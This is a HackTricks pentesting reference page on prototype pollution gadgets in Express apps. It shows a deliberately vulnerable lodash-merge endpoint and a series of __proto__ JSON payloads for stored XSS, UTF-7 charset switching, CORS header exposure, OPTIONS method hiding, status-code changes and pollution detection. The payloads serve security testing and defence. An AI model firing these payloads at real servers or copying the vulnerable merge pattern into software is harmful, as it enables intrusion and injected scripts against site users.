Comment on page
Express Prototype Pollution Gadgets
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
In an Express app using a JSON content type response and reflecting a JSON:
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});
In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can confuse Express to serve up an HTML response. This vulnerability relies on the application using
res.send(obj) and using the body parser with the application/json content type.{"__proto__":{"_body":true,"body":"<script>evil()"}}
By polluting both the
body and _body properties, it's possible to cause Express to serve up the HTML content type and reflect the _body property, resulting in stored XSS.It's possible to make express render UTF-7 content with:
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:
{"__proto__":{"json spaces": " "}}
Then a reflected JSON will looks like:
{"foo": "bar"} -- Note the extra space
The following PP gadget will make the server send back the HTTP header:
Access-Control-Expose_headers: foo{"__proto__":{"exposedHeaders":["foo"]}}
It requires the CORS module to be installed
With the following payload, it's possible to hide a method from an OPTIONS response:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
It's possible to change the returned status code using the following PP payload:
{"__proto__":{"status":510}}
When you assign to a prototype with a primitive such as a string, it produces a no-op operation since the prototype has to be an object. If you attempt to assign a prototype object to the
Object.prototype itself, this will throw an exception. We can use these two behaviours to detect if prototype pollution was successful:({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
If the application is reflecting an object in the response you could just create an attribute with a weird name and the
__proto__ one and if only the weird one is reflected is possible that the web is vulnerable:{"hacktricks":"rocks","__proto__":"test"}
Or if Lodash or similar library is used, you can set a property via PP and inside the object and if that property is not reflected is because Lodash looks at the current object to see if the property already exists in the merged object:
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
// If only b is reflected then PP in Lodash
There is an option in Express that allows you to create objects from query string parameters.
You could definitely use it in a bug chain to exploit a prototype pollution vulnerability.
{"__proto__":{"allowDots":true}}
?foo.bar=baz create an object in Node.- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 7mo ago